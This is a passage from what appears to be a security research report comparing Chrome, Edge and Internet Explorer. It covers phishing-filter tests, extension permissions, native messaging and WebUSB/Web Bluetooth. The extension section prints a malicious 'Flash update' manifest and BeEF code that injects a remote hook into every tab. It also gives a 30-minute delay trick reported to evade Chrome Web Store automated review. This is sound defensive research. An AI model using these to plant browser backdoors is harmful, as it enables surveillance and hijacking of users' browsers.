install, as well as closer coupling to possibly dangerousOS functions, makeMicrosoft Edgemore vulnerable
to client-side attack vectors than Google Chrome.

12.2 PHISHING
Phishing is one of the prevalent techniques used by attackers to steal credentials and deliver malicious
payloads remotely. While exploitingmemory corruption bugs and a number of other web-security issues
has become increasingly complex due to the addition of various mitigations, phishing was never really
mitigated successfully. Themainmitigation strategy seems to be inspired by the Antivirus (AV) industry,
where links or domains that are flagged as phishing are added in a database of signatures, which the browser
queries before navigation to a URL is performed. However, it is easy for an attacker to register domains in
8https://technet.microsoft.com/en-gb/library/bb457006.aspx
9https://bluesoul.me/2016/05/12/use-gpo-to-change-the-default-behavior-of-potentially-malicious-file-e

xtensions/
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a relatively anonymousway, buy Secure Sockets Layer (SSL) certificates for it, and deliver spear phishing
campaigns that have a life-span of only a few days. This means the likelihood a spear phishing link (used
carefully) is detected is very low. Yet, a database of known phishing domains is useful for analytic purposes
and to compare verifiedmalicious samples with the ones to check.
The analysis consisted of testing the two solutions used byGoogleChrome and Internet Explorer/Microsoft
Edge to protect users from phishing domains: SafeBrowsing10 and SmartScreen11.
Two public sources of phishing domains were used to have a public feed of fresh data, not directly tied to
any browser vendor:

• PhishTank: 26258URLs (feed from 1th July)
• OpenPhish: 3663URLs (feed from 30th June)

The details of the analysis are given in the following two tables. The table 12.1 shows howmany domains
weremissed, while the second table 12.2 shows the results of the intersection tests checkingwhich domains
missed by one engine were caught by the other one. Overall Google Chrome performs better in all tests,
blockingmore phishing domains thanMicrosoft Edge.
Note that since some sites have been either seized, sink-holed or removed during the few days of analysis,
and because some sites were unresponsive screenshots could not be taken, about 3% of URLs were
discarded and not marked as missed phishing sites (see figure 12.5 as an example). This process wasmostly
manual in order tominimize false positives and false negatives.
All the numbers obtained during analysis can be verified using the screenshots and URLs we provided for
themissed sites. However, it is likely that over timemore andmore of these sites will be seized or otherwise
stop working, which would make it harder to confirm themore time has past since this report was released.

Dataset Source Dataset Size Missed by SafeBrowsing Missed by SmartScreen
PhishTank 26258 4555 (17.3%) 6246 (23.8%)
OpenPhish 3663 174 (4.7%) 390 (10.6%)

Table 12.1: Statistics of phishing sites missed andmanually verified

Additionally, a few days after performing themain analysis, the 6th of July, additional tests were performed.
The domains allowed by SmartScreenwere processedwith SafeBrowsing, and vice versa.
10https://safebrowsing.google.com
11https://blogs.windows.com/msedgedev/2015/12/16/smartscreen-drive-by-improvements/#5G6oHeBdLlufW4kb.97
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Figure 12.5: Example of sites not counted in the final statistics

The results are shown in the following table:
Browser Source TotalMissed (by Edge) Blocked (by Chrome)
Google Chrome PhishTank 6246 3252 (52%)
Google Chrome OpenPhish 390 295 (75.6%)

Browser Source TotalMissed (by Chrome) Blocked (by Edge)
Microsoft Edge PhishTank 4555 2177 (47.8%)
Microsoft Edge OpenPhish 174 129 (74.1%)

Table 12.2: Intersection tests results

Overall Google Chrome performs better in all tests, blockingmore phishing domains thanMicrosoft Edge.
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Figure 12.6: Intersection of OpenPhishmissed sites

Figure 12.7: Intersection of PhishTankmissed sites

The Venn diagrams displayed in figures 12.6 and 12.7 show the intersection of sites fromOpenPhish and
PhishTank that weremissed by both SafeBrowsing and SmartScreen.
The testingmethodology was different across browsers, because some unexpected issues were encoun-
tered while instrumenting Google Chrome via the webdriver. While instrumenting Microsoft Edge via
webdriver it was possible to detect and parse the red blocking page that SmartScreen returns when block-
ing access to a resource which allowed detection, but the samewas not possible using the Google Chrome
webdriver. Themain issue was related to interstitial page access: the SafeBrowsing red blocking page is not
accessible from standard browser contexts like those where the webdriver operates, which is good from a
security perspective.
In order to get around this problem for Google Chrome, an extension was written for the task.
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12.2.1 Google Safe Browsing
Since thewebdriver approachwas not an option, testing SafeBrowsingwas performed via aGoogle Chrome
extension. This extension has the tabs and all_urls permissions, and hooks the extension context via
BeEF. The extension was installed on a number of browsers on different MicrosoftWindows 10 virtual
machines, then the following codewas pushed to each browser, just changing theworker and slice numbers.
Themain trick to differentiate between pages blocked and allowed by SafeBrowsing (see figure 12.8), since
access to the red interstitial page displayedwhen SafeBrowsing blocks a domain was also problematic from
the extension, was to add a custom listener to the chrome.tabs.onUpdated event. The status of a tab never
completes if page loading is blocked by SafeBrowsing. So, by just waiting for the onUpdate event, when the
tab status switches from loading to complete this information can be used to state reliably that the page
was not blocked by SafeBrowsing. The code used for Google Chrome instrumentation can be found in the
Appendix A.4.

Figure 12.8: SafeBrowsing testing via browser extension frommultiple VMs
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12.2.2 Microsoft SmartScreen
SmartScreen is not available as an API like SafeBrowsing. Since protocol reverse engineering was not
considered a worthwhile option in the given time frame, the final choice was to instrumentMicrosoft Edge
onMicrosoftWindows 10 via webdriver.
Microsoft Edge webdriver returns the contents of theWindows Defender SmartScreen page, so writing an
extension was not needed.
It should be noted that manual intervention was required at times, since theMicrosoft Edge webdriver
is sometimes unstable or unresponsive, with websites that just hang or some form of user interaction is
needed (auto-downloads, pop-ups, stuck pages, etc.). As proven by the code below,most types of exceptions
were caught and handled automatically, however sometimes the process had to be stopped and restarted
manually.
The analysis of SmartScreen has been overall slower. Moreover, Microsoft should consider exposing
SmartScreen as an API to those having aMicrosoft account, as Google does with its SafeBrowsing technol-
ogy. The code used forMicrosoft Edge instrumentation can be found in the Appendix A.5.

12.2.3 Phishing Protection
A general recommendation that is commonly given when prompted about how phishing can bemitigated is
user-awareness. Realistically, even if 99% of the employees of a target company could be aware of phishing
threats, an attacker just needs one unaware user to fall into the phishing lure, to start pivoting and lateral
movement. So while user awareness is important, it is not enough.
One technical solution to prevent phishing is Universal 2nd Factor (U2F) 12. One widely used implementa-
tion is Yubico U2F 13. The diagram shown in figure 12.9, taken from the Yubico U2F technical overview 14,
shows how phishing can prevented tying the token with the web origin where it must be used, and how
MITM can be prevented using TLS channel ids.
While U2F could be a technical mitigation for phishing andMITM, the application support is quite limited
at themoment. A partial list of well-known applications that do support U2F are listed below:

• Google products, Youtube
• Facebook
• Github, Gitlab, Bitbucket

12https://fidoalliance.org/specs/fido-u2f-v1.0-ps-20141009/fido-u2f-overview-ps-20141009.html#man-in-the
-middle-protections-during-authentication
13https://www.yubico.com/about/background/fido/
14https://developers.yubico.com/U2F/Protocol_details/Overview.html
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Figure 12.9: HowU2F can prevent phishing andMITM

• Dropbox

12.3 BROWSER EXTENSIONS
Browser extensions are a convenient way of extending the browser functionality providing to its users
a set of APIs. There are a number of extensions developed by the community which had great success,
such as Firebug15, AdBlock16, HTTPSEverywhere17. However, extensions are new code andmay be given
permissions that can negatively impact security, hence they are a potential new avenue of attacks.

12.3.1 Google Chrome ExtensionsManifest and Permissions
Google Chrome extensions run with elevated privileges. They can do things which JavaScript code in
normal web content is not allowed to do. For example, an extension can have access to all the open tabs,
send cross-origin requests, or read cookies (including HttpOnly ones). Extensions need to be served from
the Google Play store; it is not possible to serve extensions from different origins.
Originally the first version of the Google Chrome extensions API did not include a Content Security Policy
(CSP) by default to protect from developers’ mistakes. It therefore left extensions vulnerable to XSS. Note
that the impact of a XSS in the extension code base is a lot more dangerous than a XSS on a normal web
origin. The NPAPI has been deprecated from 2013, so it is not possible to directly call OS commands
15https://addons.mozilla.org/en-US/firefox/addon/firebug/
16https://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom
17https://www.eff.org/https-everywhere
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anymore. However, developers can still make their extension vulnerable to Remote Command Execution as
Tavis Ormandy has proven againstWebEx Extension for Google Chrome18. For some reasons parts of the
Microsoft’s C Runtime library were exposed to a script being called by the extension, making it possible to
call _wsystem() passing arbitrary commands achieving Remote Code Execution (RCE).
Things got better in terms of default security settings with extension API version 2 which requires CSP
directives: however, content scripts running in the context of a web page are not subject to the extension’s
CSP. Themain question here is howmany developers will relax the CSP intentionally? Many JavaScript
libraries require the usage of eval() calls, which means the CSP needs to be relaxed with unsafe-eval,
re-opening potential avenues for exploitation.
The following (see listing 12.5) is an example of a (malicious) Google Chrome extensionmanifest file version
2, with a relaxed permissionmodel and relaxed CSP policy, taken from the BeEF project19.

1 {
2 "name": "Adobe Flash Player Plugin Update",
3 "manifest_version": 2,
4 "version": "26",
5 "description": "Updates Adobe Flash Player with latest updates, including security ones.",
6 "background": {
7 "scripts": ["background.js"]
8 },
9 "content_security_policy":

"script-src 'self' 'unsafe-eval' https://api.penitenziagite.club; object-src 'self'",,→
10 "icons": {
11 "16": "icon16.png",
12 "48": "icon48.png",
13 "128": "icon128.png"
14 },
15 "permissions": [
16 "background",
17 "tabs",
18 "<all_urls>",
19 "cookies"
20 ]
21 }

Listing 12.5:Manifest for the Google Chromemalicious extension used later in this section

Table 12.3 enumerates all the Google Chrome extension permissions available. Note that permissions that
apply only to ChromeOSwere not listed, meaning that the following permissions work on extensions on
every operating system.
Permissions Consequence
activeTab gives temporary access to the tabmarked as activeTab.
alarms enable calling the chrome.alarms API.
18https://bugs.chromium.org/p/project-zero/issues/detail?id=1096
19https://beefproject.com/
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background the browser runs (invisibly) as soon as the user logs into their computer, in order to have extensions live longer.
bookmarks enable calling the chrome.bookmarks API.
browsingData enable calling the chrome.browsingData API.
certificateProvider enable calling the chrome.certificateProvider API.
clipboardRead/clipboardWrite needed for clipboard read/write access.
contentSettings enable calling the chrome.contentSettings API.
contextMenus enable calling the chrome.contextMenus API.
cookies enable calling the chrome.cookies API.
debugger enable calling the chrome.debugger API.
declarativeContent enable calling the chrome.declarativeContent API.
desktopCapture enable calling the chrome.desktopCapture API.
downloads enable calling the chrome.downloads API.
experimental needed if the extension or app uses any chrome.experimental.* APIs.
fontSettings enable calling the chrome.fontSettings API.
gcm enable calling the chrome.gcm (cloudmessaging) API.
geolocation enable HTML5 geolocation API without prompting the user for permission.
history enable calling the chrome.history API.
identity enable calling the chrome.identity API.
idle enable calling the chrome.idle API.
management enable calling the chrome.management API.
nativeMessaging enable calling the nativemessaging API.
notifications enable calling the chrome.notifications API.
pageCapture enable calling the chrome.pageCapture API.
platformKeys enable calling the chrome.platformKeys API.
power enable calling the chrome.power API.
printerProvider enable calling the chrome.printerProvider API.
privacy enable calling the chrome.privacy API.
processes enable calling the chrome.processes API.
proxy enable calling the chrome.proxy API.
sessions enable calling the chrome.sessions API.
signedInDevices enable calling the chrome.signedInDevices API.
storage enable calling the chrome.storage API.
system.x enable calling the chrome.system.x API, where x can be CPU, memory and others
tabCapture enable calling the chrome.tabCapture API.
tabs enable access to privileged fields of the Tab objects like chrome.tabs and chrome.windows.
topSites enable calling the chrome.topSites API.
tts enable calling the chrome.tts (Text-to-Speech) API.
ttsEngine enable calling the chrome.ttsEngine API.
unlimitedStorage Provides an unlimited quota for storing HTML5 client-side data
wallpaper enable calling the chrome.wallpaper API.
webNavigation enable calling the chrome.webNavigation API.
webRequest enable calling the chrome.webRequest API.
webRequestBlocking needed if the extension uses the chrome.webRequest API in a blocking fashion.

Table 12.3: Chrome Extensions Permissions

12.3.2 Microsoft Edge ExtensionsManifest and Permissions
The following (see listing 12.6) is an example of aMicrosoft Edge extensionmanifest file. You can see the
analogy with themanifest of Google Chrome extensions. The way content scripts, background pages and
CSP are specified are almost identical, and permissions are also very similar. Similarly to Google Chrome,
also inMicrosoft Edge extensions need to be served via a specific site, which in this case isWindows Store.
Both browsers allow unsigned extension to be loaded from the filesystem in Developer mode.

1 {
2 "name" : "Sample extension manifest",
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3 "version" : "1.0.0.0",
4 "author" : "Microsoft Corporation",
5 "browser_action" : {
6 "default_icon" : { "20" : "icon_20.png","40" : "icon_40.png"},
7 "default_title" : "Sample extension",
8 "default_popup" : "popup.html"
9 },

10 "content_scripts" : [{ "js" : ["content_script.js"], "matches" : ["*://*/*"] }
11 ],
12 "content_security_policy" : "script-src 'self'; object-src 'self'",
13 "default_locale" : "en",
14 "description" : "This is a sample extension that illustrates the JSON manifest schema",
15 "permissions" : [
16 "*://*/*",
17 "notifications",
18 "cookies",
19 "tabs",
20 "storage",
21 "contextMenus",
22 "background"
23 ],
24 "background" : {
25 "page" : "background.html", "persistent" : true
26 },
27 "icons" : {"128" : "icon_128.png"},
28 "minimum_edge_version" : "33.14281.1000.0",
29 }

Listing 12.6: Examplemanifest of aMicrosoft Edge extension with liberal permissions

Table 12.4 lists the permissions available forMicrosoft Edge extensions.
Permission Consequence
<all_urls> background and content scripts can interact with any website with extra privileges.
contextMenus modify items in Edge’s context menu
cookies querying andmodifying cookies
geolocation use the HTML5 geolocation API without prompting the user for permission.
idle enables detection of when themachine’s idle state changes.
storage storing, retrieving, and tracking changes to user data.
tabs creating andmodifying tabs, including their URLs
unlimitedStorage allowing storage.local to have unlimited storage (depending on system resources)
webNavigation receiving notifications about the status of navigation requests.
webRequest observing and analyzing traffic, as well as intercepting, blocking or modifying request in-flight.
webRequestBlocking blocking fashion.

Table 12.4:Overview ofMicrosoft Edge Extension Permissions

It should be noted that at the time of writing this report it was possible to upload extensions onWindows
Store only after contactingMicrosoft, as reported in the following screenshot. Hence, tests onMicrosoft
Edge extensions were done using unsigned extensions locally developed and not uploaded toWindows
Store (see figure 12.10).
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Figure 12.10: Microsoft needs to be explicitly contacted before a Microsoft Edge extension can be uploaded to
Windows Store

Additionally, unsignedMicrosoft Edge extensions are automatically turned off, after the browser is idle
for ten seconds (see figure 12.11). Although this feature might be a hassle for extension developers, it
limits exposure to unsigned rogue extensions living inMicrosoft Edge as the result of some bypass, or as a
persistence technique. Google Chrome instead alerts the user suggesting disabling the Developermode
since extensionsmight cause harm.

Figure 12.11: Unsigned extensions are turned off automatically after 10-seconds of browser inactivity

12.3.3 Internet Explorer Extensions
Internet Explorer supports browser extensions, which aremostly aimed at enhancing the browsing experi-
ence, modifying the toolbar or Graphical User Interface (GUI), adding new functionality via DLLs which are
also called Browser Helper Objects.
A BHOhas DOMaccess, so it can perform keystroke logging and content manipulation on any origin.
Internet Explorer also has a functionality called Enhanced ProtectedMode, which prevents extensions that
are not compatible with this safer way of running BHOs. Not enabled by default, it has not received enough
attention to be considered a real mitigation for protecting from rogue extension installation. EPMwas not
active on the tested Internet Explorer onMicrosoftWindows 10 by default.
Browser extensions in Internet Explorer run in Low Integrity mode, and then only read/write file system
access is in the following directories:

• USERPROFILE\Settings\Temporary Internet Files\Low
• USERPROFILE\Local Settings\Temp\Low
• USERPROFILE\AppData\LocalLow
• USERPROFILE\Cookies\Low
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• USERPROFILE\Favorites\Low
• USERPROFILE\History\Low

However, Microsoft does not force users to write extensions in managed code (.NET), so many of them are
written in C++, whichmakes the BHO code vulnerable to buffer and integer overflows, format string bugs
and typical memory safety issues.

12.3.3.1 Comparison of Extension Handling

No browser in scope offered a way to reduce extension privileges by selectively revoking or giving per-
missions. X41 D-Sec GmbH advises to implement a permission manager to set permission settings per
extension. This would be similar to permissionmanagement for apps in commonmobile operation systems
such as Android or iOS.
The fact that both Internet Explorer and Microsoft Edge extensions are either not widely used or have
a not yet mature eco-system was the main reason to focus the browser extensions analysis on Google
Chrome. However, it was observable that Microsoft considers extensions as being dangerous in terms
of security and implemented additional security restrictions such as the 10-second background limit and
manual verification of extensions uploaded to the store.

12.3.4 NativeMessaging
Google Chrome andMicrosoft Edge extensions can be configured to communicate with native applications
installed in the OS. Google Chrome moved to native messaging when they started to deprecate the
potentially dangerous NPAPI. The communication mechanism is similar to the message passing API20,
where applications that want to communicate with the extensionmust register a nativemessaging host.
Themain difference between the browsers implementations is that onMicrosoft Edge themessaging host
needs to be implemented using UWP21.
Listing 12.7 shows the two different ways of declaring the native application manifest. While in Google
Chrome the extension origin allowed communicating with the native application is declared in themanifest,
inMicrosoft Edge this must be determined and enforced at runtime, via a lookup of the Package Family
Name of the native application.

1 // Chrome
2 {
3 "name": "chromeNativeApp",
4 "description": "chromeNativeApp",

20https://developer.chrome.com/extensions/messaging
21https://docs.microsoft.com/en-us/microsoft-edge/extensions/guides/native-messaging
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5 "path": "C:\\ProgramFiles\\nativeApp\\native_messaging_host.exe",
6 "type": "stdio",
7 "allowed_origins": [
8 "chrome-extension://askdjalsdkjalsdjbkopiqwpeoiqwodk/"
9 ]

10 }
11

12 // Edge
13 <Applications>
14 <Application Id="edgeNativeApp"
15 <Extensions>
16 <uap:Extension Category="windows.appService" EntryPoint="edgeNativeApp.Inventory">
17 <uap:AppService Name="com.microsoft.inventory"/>
18 </uap:Extension>
19 </Extensions>
20 ...
21 </Application>
22 </Applications>

Listing 12.7: Declaring a Native ApplicationManifest

It is safer to force the origin whitelisting in a configuration file, rather than relying on the developers to
enforce it in their own code. However, an attackmodel where aMicrosoft Edge extension is abused in order
to connect to a different native application is mitigated by the fact that both the extension and the UWP
application are packaged together.

12.3.5 Security Considerations
Google Chrome extensions ecosystem is mature and gives user fine-grained access control via granular
permissions. However, support for more permissions thanMicrosoft Edge also means a more powerful
malicious extension in the hands of an attacker. As it was proven at InsomniHack 2014 in the talkWhen you
don’t have 0days: client-side exploitation for the masses22, uploadingmalicious extensions to the ChromeWeb
Store was not difficult.
According to Google23:

Apps go through an automated review process and in most cases, an app will be published
without further manual review. Theremay be some instances in which amanual reviewwill be
required before the app is published based on our program policies.

An attacker who wants to do harm just needs the <all_urls> and tabs permissions to already achieve the
equivalent of UXSS injecting remote scripts in any tabs. Other permissions can be abused as well, such as
22https://www.slideshare.net/micheleorru2/when-you-dont-have-0days-clientside-exploitation-for-the-masse

s
23https://developer.chrome.com/webstore/faq
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geolocation and backgroundwhich combinedwould not prompt the user when geolocation is needed as well
as making the extension persistent even after themain browser window is closed or the user reboots.
The BeEF Fake FlashUpdate Chrome extension, whichmanifest was provided as an example in the previous
sections, allows the attacker to control every tab and perform requests like the SOP is disabled. Themain
JavaScript hook file loaded via the background script can be just injected in all the open tabs. This can
be achieved using the standard extension API, as demonstrated by the code in listing 12.8 from the BeEF
project.

1 var beefHookUri = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + beef.net.hook;
2

3 chrome.windows.getAll({"populate" : true}, function(windows) {
4 for(i in windows) {
5 if(windows[i].type=="normal") {
6 chrome.tabs.getAllInWindow(windows[i].id,function(tabs){
7 for(t in tabs) {
8 if(tabs[t].url.substring(0,16) != "chrome-extension"){
9 chrome.tabs.executeScript(tabs[t].id,{code:

10 "newScript=document.createElement('script'); newScript.src='"
11 + beefHookUri + "'; newScript.setAttribute('onload','beef_init()');" +
12 " document.getElementsByTagName('head')[0].appendChild(newScript);"})
13

14 beef.net.send('<%= @command_url %>', <%= @command_id %>,
15 'Successfully injected BeEF hook on: ' + tabs[t].url);
16 }
17 }
18 })
19 }
20 }
21 });

Listing 12.8: BeEF Fake Flash Update Chrome extension

As expected this works reliably also on Google domains as shown in figure 12.12, and is a good example
of a stealthy way to have a browser backdoor, which can become an openHTTP proxy, or just a powerful
monitoring tool since the entire browser activity can be logged and hijacked.
Cases of malicious extensions spotted in the wild are not uncommon, as researchers fromMalwareBytes
pointed out inmultiple cases. However, it seems themalicious usage spotted in thewild consistedmostly of
ad and link fraud, various scams24 and occasionally malvertising25. According to the previously mentioned
research, the affected extensions were removed before the download count reached one thousand users,
which is a good detection/response time. A good point to observe here is the following: since Google has
full control over the extensions life cycle, they just need a few users to report the extension as malicious to
triggermore analysis on it, andwhen a bad behavior is observed the extension can be removed from the
Web Store.
24https://blog.malwarebytes.com/threat-analysis/2017/02/rogue-chrome-extension-pushes-tech-support-scam
25https://blog.malwarebytes.com/threat-analysis/2016/01/rogue-google-chrome-extension-spies-on-you
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Malicious extensions activity can bemitigated via Enterprise group policies, since Google Chrome supports
extension whitelists and blacklists as discussed in chapter 6 (Enterprise Features). Moreover, Google
maintains a list of malicious extensions, as well as extensions that exercise or expose bad security issues.
This list is updated daily and used by the browser via SafeBrowsing, which was previously described in
section 12.2 (Phishing). If an extension is deemedmalicious by this blacklist, it will be disabled automatically
to create nomore harm, but it will not be removed from the filesystem.

Figure 12.12: Demonstrating how amalicious extension can control arbitrary origins including Google domains

The GoogleWebStore implements a number of automated security checks via extension instrumentation.
This was practically tested uploading amalicious extension to theweb store, making sure the extension
was not publicly available but restricted to a few testing users via Group Policy26.
The first testbed consisted of an extension with the permissions shown in listing 12.9.

1 "permissions": [
2 "background",
3 "tabs",
4 "http://*/*",
5 "https://*/*",
6 "file://*/*",
7 "cookies"
8 ]

Listing 12.9:Manifest forMalicious Google Chrome extension

The background.js file was simply including a remote semi-obfuscated and minified BeEF hook from the
origin https://api.penitenziagite.club. In order to have the BeEF hook working, the CSP must be
relaxed as shown in listing 12.10.
26https://support.google.com/chrome/a/answer/188453?hl=en
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1 "content_security_policy":
2 "script-src 'self' 'unsafe-eval' https://api.penitenziagite.club; object-src 'self'"

Listing 12.10: CSP Relaxing for BeEF hook

The extensionwas automatically rejected since it wasmarked asmalicious. This was expected, since the
sandbox that Google uses to analyze extensions was polling back to the BeEF server twice a second via
XHR, as shown in figure 12.13.

Figure 12.13: The Google sandbox that analyze extension for malicious behavior polling back to BeEF

The automated email from theweb storementioned the following three points:

• “All of the files and code are included in the item package.”
• “All code inside the package is human readable (no obfuscated orminified code).”
• “Avoid requesting or executing remotely hosted code (including by referencing remote JavaScript

files or executing code obtained by XHR requests).”

In order to make the malicious extension bypass the automated security checks, the following changes
were applied to the background.js file. The jQuery dependency that the BeEF hook uses was replaced with
the non-minified version, the BeEF obfuscation andminification was disabled, themain global variable was
randomized, and the hook file was not retrieved from a remote resource but embedded in background.js.
Other than the changes above, another trick is tomodify the beef.init() code adding a time delay to postpone
the pollingmechanism 30minutes after the extensions runs. Many sandboxes used to analyzemalicious
code do check for malicious activity that happens during a limited amount of time. They usually fail open
when nothingmalicious happens during the time-limited analysis. Hence, they can sometimes be fooled by
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just having a payload doing random sleeps, or sleep for a long enough time. Extension publishing time is
usually under the hour, so having a 30minutes sleepwas considered to be enough. Themodified code is
shown in listing 12.11.

1 // BYe == BeEF
2 if (!BYe.pageIsLoaded) {
3 BYe.pageIsLoaded = true;
4 var min = 1000 * 60; //minute
5 var mins = 30; // how many minutes to sleep
6 var fin = min * mins;
7 setTimeout(function(){
8 // the following triggers the full hook
9 BYe.net.browser_details();

10 BYe.updater.execute_commands();
11 BYe.updater.check();
12 BYe.logger.start();
13 },fin);
14 }

Listing 12.11: Bypassing of Automated Security Checks

Thanks to the setTimeout() delayed call, no connections from the Google extensions sandboxwere received,
confirming that automated security checks were bypassed. As expected, the extensionwas successfully
uploaded and it was possible to install it, as shown in figure 12.14.

Figure 12.14: Themalicious extension was published and ready to be installed

Having proven that achieving a bypass of the automated security checks is possible does not mean that
such checks are useless. They surely prevent and minimize the number of bad extensions available in
theWebStore, or even legitimate extensions that can then become vulnerable, however an attacker with
enough time and a couple of (anonymous) credit cards (a 5$payment is required to open aGoogleDeveloper
account) can createmalicious extensions.
The operational question is how far an attacker could gowith such an extension, in terms of the number
of people compromised. Probably not far, since Google can easily have someone doing amanual audit of
the extension as soon as the extension is flagged as malicious by some users. However, such analysis takes
time and is also non-deterministic, meaning that Google Chrome extensions are still a viable option for
resourceful attackers that want to perform small-size spear phishing campaigns.
Microsoft Edge extensions ecosystem is still under development. Only 35 extensions were available in the
Microsoft Store when this report was written. The same considerations for Google Chrome extensions
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apply here. However, the need to contactMicrosoft in advance to publish an extension, and the support for
more permissions still ongoing, certainly makes it more attractive for an attacker to abuse Google Chrome
extensions rather thanMicrosoft Edge ones.
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13 Peripheral Device Access

Several APIs that provide access to peripherals such as Bluetooth and Universal Serial Bus (USB) devices
have been defined in the recent years. Use cases range from accessingUSBbased authentication tokens1 to
multimedia applications. Wewill focus our reviewonUSB andBluetooth, since they are themost commonly
used technologies for peripheral device interfacing.
They are supported by different browsers as shown in table 13.1.

Feature Google Chrome Microsoft Edge Internet Explorer
WebUSB  # #
WebBluetooth  # #

Table 13.1: Comparison of Peripheral Device Support ( - True,# - False,G# - Partly)

Amore detailed description will be given in the following sections.

13.1 WEBUSB
TheWebUSBAPI allows interaction betweenweb contexts and USB devices. At the time of writing there is
a draft version of aWebUSBAPI published2 by theWeb Platform Incubator Community Group3.
Google Chrome apps are able to access connected USB devices using the API chrome.usb4, which requires
the “usb” permission.
Since Google Chrome apps will be removed in Google Chrome onWindows, Mac, and Linux, we focused on
theWebUSBAPI that is available fromwebsite contexts. Currently the experimental web technology flag
has to be enabled in Google Chrome tomake theWebUSBAPI available to websites.
1https://chrome.google.com/webstore/detail/fido-u2f-universal-2nd-fa/pfboblefjcgdjicmnffhdgionmgcdmne
2https://wicg.github.io/webusb/
3https://www.w3.org/community/wicg/
4https://developer.chrome.com/apps/usb
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WebUSB is currently not supported onMicrosoft Edge or Internet Explorer and not listed on the platform
status page5 ofMicrosoft Edge. X41D-Sec GmbH assumes that no implementation is currently planned.
SinceWebUSB functionality is not available and it does not provide any additional security protections
or mitigations, there is no positive or negative security impact on Microsoft Edge or Internet Explorer
byWebUSB. Security considerations and a description of theWebUSB security model can be found in an
article6 on the ChromiumDev Channel.
The security model of the web is also applied toWebUSB as stated in the article:

• “The web is ephemeral. If you’re only borrowing the device or decide to return it, there is nothing left
on your system to hunt down and remove.”

• “Sites run in their own sandboxes. Even if a site is malicious or compromised it can not access other
sites or devices that the user has not given it access to. If the site crashes you can just reload it.”

The third item in this list, where websites need to bewhitelisted, was removed7 for top-level frames. For
embedded frames USB access is disallowed unless there is a Feature Policy available8.
Similar to the SOP, access restrictions to devices are enforced on a per-site basis and also protected and
isolated by a sandbox. The user must explicitly give a website permission to access a USB device, and such
permissions are always cleared when the browser is closed.
These assumptions rely on thebrowser securitymodel; anyflaw in the lattermay allowanattacker to bypass
the security ofWebUSB. For example, an XSS issue in a trusted website that has been given permission
to access USB devices by the user, may allow an attacker to gain access to these USB devices through
this website. This is even more true for UXSS vulnerabilities, which would theoretically allow attackers
access to all devices accessible to all websites, even if these sites do not have any vulnerabilities themselves.
Device access inWebUSB is not persistent, so any attack would have to take place after the user grants a
website access to a device in the permissions dialogue UI, and before the user closes the browser, as this
revokes the access.
An attacker may be able to compromise a renderer process and execute arbitrary code. It might be possible
that the compromised renderer process was also hosting a website that had been granted access to USB
devices. This might allow the attacker to access these USB devices as well. Site isolation (see chapter 8)
would allow the browser to prevent this by restricting access to USB devices for processes that have not
been granted access to origins withWebUSB permissions. However, this kind of attack is expected to be
muchmore complex than attempting to find a logic bug in the permission system or finding and exploiting
an XSS vulnerability in a trusted site, or a UXSS vulnerability in Chrome.
5https://developer.microsoft.com/en-us/microsoft-edge/platform/status/
6https://medium.com/dev-channel/the-webusb-security-model-f48ee04de0ab
7https://codereview.chromium.org/2611773004/
8https://codereview.chromium.org/2815003005/
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Figure 13.1: UI Confusion withWebUSB

Oneexample of a logic bug in the permission systemwas identifiedbyX41D-SecGmbHduring this research.
As shown in figure 13.1, it was possible to force the browser to show the permissions dialogue for domain
www.x41-dsec.de in the context of www.google.de by exploiting a race condition via JavaScript. More
details are given in the bug report9. This issue has been fixed in recent versions ofGoogleChrome according
to Google.
Access to USB devices introduces unique security considerations, such as:

• The security of USB devices depends entirely on the efforts of the vendor/manufacturer rather
than the browser vendors. The security of Internet-of-Things devices suggests that vendors and
manufactures invest very little effort into providing security for such products.

• The developers of USB devices may assume the machine their device is plugged in to is trustwor-
thy, which may not be the case if an attacker can gain access to the device throughWebUSB. As a
consequence, USB devices may contain verymany, easy to exploit vulnerabilities.

• Compromised USB devices can potentially impersonate Human Interface Device (HID) devices (such
as keyboards) to allow an attacker to interact with the system in the sameway as a normal user would.
This could potentially be used to elevate privileges on the system.

• Compromised USB devices can potentially attack the kernel driver, whichmay offer a large attack
9https://bugs.chromium.org/p/chromium/issues/detail?id=723503
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service to the device and put toomuch trust in its integrity. This could potentially be used to elevate
privileges on the system as well.

• USB devices commonly have firmware that an attacker may be able tomodify to persist on the device
across power cycles. Combinedwith one of the above attacks, this could potentially be used to create
a persistent backdoor into the system, or to spread when the USB device is removed and inserted
into another system.

• Users may not be aware that a simple USB device that normally offers very little or no access to the
systemmight still allow an attacker full access to the system once compromised.

The Chromium team considered10 the possibility of malicious firmware updates and suggested someways
tomitigate their risk. X41D-Sec GmbH considers this as an area where we are likely to see vulnerabilities,
given the historic lack of security applied to firmware updates. Wewould like to advise the development of
more and better guidelines and requirements for implementing a secure firmware update process.
For the reasons stated above, X41D-Sec GmbH considers the exposure of USB devices to web contexts
as increasing the attack surface exposed to website contexts. We think there is a high probability that
the average user will have problems deciding when it is OK to give awebsite access to sensitive devices.
This is especially problematic for USB based security tokens such as Public-Key Cryptography Standard
11 (PKCS11) tokens: accidentally allowing an attacker access to such devices provides themwith access
to cryptographic tokens that are used to secure other resources. These may be used by the attacker
to compromise those resources. It is recommended to use group policies as described in section 6.2 to
whitelist devices that may be exposed to web origins in Google Chrome. By default there is no restriction
onwhich devices can be exposed by the user’s choice.

13.2 WEB BLUETOOTH
The Web Bluetooth API allows connecting and interacting with devices over the Bluetooth 4 wireless
standard11. The draft for this standard describes security considerations that are also discussed in a blog
post12 by Jeffrey Yasskin (Google Chrome Software Engineer):

• Access and control over devices that have intended features which might impact the privacy and
security of users.

• Malicious hardware such as malicious Bluetooth devices trying to attack the browser or data of
websites.

• Attacks against the Bluetooth devices’ firmware or attacks against operating system drivers.
10https://medium.com/dev-channel/the-webusb-security-model-f48ee04de0ab
11https://webbluetoothcg.github.io/web-bluetooth/
12https://medium.com/@jyasskin/the-web-bluetooth-security-model-666b4e7eed2
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The permissionmodel and access control is similar toWebUSB as described in section 13.1. The general
security considerations ofWebUSB apply toWebBluetooth as well. Access to services of a specific Bluetooth
device is granted on a per-origin basis. After the user grants these permissions (“pairs the origin”), the origin
is allowed access to any service that was listed in the filters13 part of the permission request.
CurrentlyWebBluetooth is available in Google Chrome butmust bemanually enabled using the “chrome://-
flags/#enable-experimental-web-platform-features” flag. It is under consideration (with low priority) in
Microsoft Edge14.

13.2.1 Attacks onDevices
